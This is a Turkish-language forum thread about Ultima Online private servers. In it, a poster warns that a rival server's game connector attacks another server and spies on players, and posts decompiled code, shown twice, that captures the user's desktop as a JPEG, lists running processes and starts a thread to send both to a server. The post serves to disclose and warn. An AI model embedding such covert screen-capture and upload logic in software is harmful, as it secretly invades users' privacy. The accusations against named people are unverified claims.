|
İçerde : 1 misafir, 0 üye : ---
|
int __usercall MakeScreenshot_AndSaveToFile[/b]@<eax>(int filename@<eax>, int a2@<ebx>, int a3@<edi>, int a4@<esi>)
{
HWND v4; // eax
HDC v5; // eax
int v6; // eax
int v7; // eax
HDC v8; // ST10_4
int v9; // eax
int v10; // ST0C_4
Graphics::TCanvas *v11; // eax
HDC v12; // eax
HWND v13; // eax
HDC v15; // [esp-18h] [ebp-12Ch]
void *v16; // [esp-14h] [ebp-128h]
int *v17; // [esp-10h] [ebp-124h]
DWORD v18; // [esp-Ch] [ebp-120h]
HDC v20; // [esp-4h] [ebp-118h]
void *v_UOPathFromRegistry; // [esp+0h] [ebp-114h]
CHAR Buffer; // [esp+7h] [ebp-10Dh]
System::TObject *v23; // [esp+FCh] [ebp-18h]
DWORD ThreadId; // [esp+100h] [ebp-14h]
struct_Graphics_TBitmap **v_BMPObj; // [esp+104h] [ebp-10h]
HDC hDC; // [esp+108h] [ebp-Ch]
struct_jpeg_TJPEGImage **v_JPEGObj; // [esp+10Ch] [ebp-8h]
const void *v_filename; // [esp+110h] [ebp-4h]
v_UOPathFromRegistry = 0;
v_filename = filename;
v_JPEGObj = Jpeg::TJPEGImage::TJPEGImage(&stru_3B49EC);
v_BMPObj = Graphics::TBitmap::TBitmap(&stru_3AB9A4);
GetSystemDirectoryA(&Buffer, 0xFFu);
v4 = GetDesktopWindow();
v5 = GetDC(v4);
hDC = v5;
v6 = GetDeviceCaps(v5, 8);
((*v_BMPObj)->_Graphics_TBitmap_SetWidth$qqri)(v_BMPObj, v6, *v_BMPObj, v16, v15);
v7 = GetDeviceCaps(hDC, 10);
(*v_BMPObj)->_Graphics_TBitmap_SetHeight$qqri(v_BMPObj, v7);
v17 = 0xCC0020;
v16 = 0;
v15 = 0;
v8 = hDC;
v9 = ((*v_BMPObj)->_Graphics_TBitmap_GetHeight$qqrv)();
v10 = ((*v_BMPObj)->_Graphics_TBitmap_GetWidth$qqrv)(v9);
v11 = Graphics::TBitmap::GetCanvas(v_BMPObj);
v12 = Graphics::TCanvas::GetHandle(v11);
BitBlt(v12, 0, 0, v10, v8, v15, v16, v17, v18);
(*v_JPEGObj)->_Jpeg_TJPEGImage_Assign$qqrp19Classes_TPersistent(v_JPEGObj, v_BMPObj);
v23 = unknown_libname_43(&off_3A7908, 1);
*(v_JPEGObj + 63) = 50;
Jpeg::TJPEGImage::Compress(v_JPEGObj);
GetUOPathFromRegistry(&v_UOPathFromRegistry, a2, a3, a4);
System::__linkproc__ LStrCat(&v_UOPathFromRegistry, v_filename);// UOPathFromRegistry + verinfo.cfg
(*v_JPEGObj)->_Graphics_TGraphic_SaveToFile$qqrx17System_AnsiString(v_JPEGObj, v_UOPathFromRegistry);
DumpAllProcessNames_And_SaveToFile();
v20 = hDC;
v13 = GetDesktopWindow();
ReleaseDC(v13, v20);
System::TObject::Free(v_JPEGObj);
System::TObject::Free(v_BMPObj);
System::TObject::Free(v23);
CreateThread(0, 0, SendScreenShot_And_ProcessNames_To_Server, 0, 0, &ThreadId);
v_UOPathFromRegistry = &loc_3CA4BC;
System::__linkproc__ LStrClr(&v_UOPathFromRegistry);
return System::__linkproc__ LStrClr(&v_filename);
}
Destroy :
Merhaba Saygı Değer Oyuncular,
Son 2-3 gündür Pyramid, Avalon ( bugün itibari ile ) ve türevleri sunuculardan aynı anda 1 den fazla sunucuya giren oyuncularda eğer Drolyn Ercan Connector varsa TNS'ye ufak çaplı bir paket saldırı yapmaktadır. Ek olarak, Pyramid sunucusu North Shield UO açık ise kendi oyuncusunu hile var diyip kendi sunucusunda kendi oyuncusunu banlamaktadır.Bu konuyu aklımız almadığı gibi, arkadaşların TNS'yi saplantı haline getirdiğini farkettik. Emekleri için teşekkür ederiz.
Sunucu sahiplerine Allah'tan akıl sağlığı vermesini ve Ercandan bir an önce kurtulmasını dileriz.
Hiç bir oyuncuya ne işlem yaptığı belli olmayan, bilgilerinizi dahi çalabilecek potansiyeli olan bu sunucu ve connectorle oyuna girmemelerini öneririm. Bu konu ile ilgili adli işlem başlatacağımızı burdan iletiriz...
Saygılarımla,
Destroy :
Bir saldırı olsa iyi aşağıdaki ekran görüntüsü alma ve gönderme gibi işlemlerde yapıyor ilgili connector. İlgili saldırı işlemlerini açık connector üzerinde memory injection yöntemi ile gerçekleştiriyorlar. Connectorde hile engelleyecekse bu arkadaşlar kendi connectorunde bunu engeller. Başka sunucuların mevcut clientlerinin üzerinde memory işlemleri yaptıklarında konu başka yerlere gidiyor.
Pyramid ve türevi sunucularda bu connectorde yarın kendinizi müşkül durumlara düşürmeyin...
MakeScreenshot_AndSaveToFile fonksiyonundan göreceğiniz üzere...
Kod:int __usercall MakeScreenshot_AndSaveToFile[/b]@<eax>(int filename@<eax>, int a2@<ebx>, int a3@<edi>, int a4@<esi>)
{
HWND v4; // eax
HDC v5; // eax
int v6; // eax
int v7; // eax
HDC v8; // ST10_4
int v9; // eax
int v10; // ST0C_4
Graphics::TCanvas *v11; // eax
HDC v12; // eax
HWND v13; // eax
HDC v15; // [esp-18h] [ebp-12Ch]
void *v16; // [esp-14h] [ebp-128h]
int *v17; // [esp-10h] [ebp-124h]
DWORD v18; // [esp-Ch] [ebp-120h]
HDC v20; // [esp-4h] [ebp-118h]
void *v_UOPathFromRegistry; // [esp+0h] [ebp-114h]
CHAR Buffer; // [esp+7h] [ebp-10Dh]
System::TObject *v23; // [esp+FCh] [ebp-18h]
DWORD ThreadId; // [esp+100h] [ebp-14h]
struct_Graphics_TBitmap **v_BMPObj; // [esp+104h] [ebp-10h]
HDC hDC; // [esp+108h] [ebp-Ch]
struct_jpeg_TJPEGImage **v_JPEGObj; // [esp+10Ch] [ebp-8h]
const void *v_filename; // [esp+110h] [ebp-4h]
v_UOPathFromRegistry = 0;
v_filename = filename;
v_JPEGObj = Jpeg::TJPEGImage::TJPEGImage(&stru_3B49EC);
v_BMPObj = Graphics::TBitmap::TBitmap(&stru_3AB9A4);
GetSystemDirectoryA(&Buffer, 0xFFu);
v4 = GetDesktopWindow();
v5 = GetDC(v4);
hDC = v5;
v6 = GetDeviceCaps(v5, 8);
((*v_BMPObj)->_Graphics_TBitmap_SetWidth$qqri)(v_BMPObj, v6, *v_BMPObj, v16, v15);
v7 = GetDeviceCaps(hDC, 10);
(*v_BMPObj)->_Graphics_TBitmap_SetHeight$qqri(v_BMPObj, v7);
v17 = 0xCC0020;
v16 = 0;
v15 = 0;
v8 = hDC;
v9 = ((*v_BMPObj)->_Graphics_TBitmap_GetHeight$qqrv)();
v10 = ((*v_BMPObj)->_Graphics_TBitmap_GetWidth$qqrv)(v9);
v11 = Graphics::TBitmap::GetCanvas(v_BMPObj);
v12 = Graphics::TCanvas::GetHandle(v11);
BitBlt(v12, 0, 0, v10, v8, v15, v16, v17, v18);
(*v_JPEGObj)->_Jpeg_TJPEGImage_Assign$qqrp19Classes_TPersistent(v_JPEGObj, v_BMPObj);
v23 = unknown_libname_43(&off_3A7908, 1);
*(v_JPEGObj + 63) = 50;
Jpeg::TJPEGImage::Compress(v_JPEGObj);
GetUOPathFromRegistry(&v_UOPathFromRegistry, a2, a3, a4);
System::__linkproc__ LStrCat(&v_UOPathFromRegistry, v_filename);// UOPathFromRegistry + verinfo.cfg
(*v_JPEGObj)->_Graphics_TGraphic_SaveToFile$qqrx17System_AnsiString(v_JPEGObj, v_UOPathFromRegistry);
DumpAllProcessNames_And_SaveToFile();
v20 = hDC;
v13 = GetDesktopWindow();
ReleaseDC(v13, v20);
System::TObject::Free(v_JPEGObj);
System::TObject::Free(v_BMPObj);
System::TObject::Free(v23);
CreateThread(0, 0, SendScreenShot_And_ProcessNames_To_Server, 0, 0, &ThreadId);
v_UOPathFromRegistry = &loc_3CA4BC;
System::__linkproc__ LStrClr(&v_UOPathFromRegistry);
return System::__linkproc__ LStrClr(&v_filename);
}
SendScreenShot_And_ProcessNames_To_Server ile de çektiği ekran görüntüsünü sunucuya iletiyor.
Allah korusun insanlar özeli var, kendi mahrem konuları var. Gerçekten akıl almıyor.
|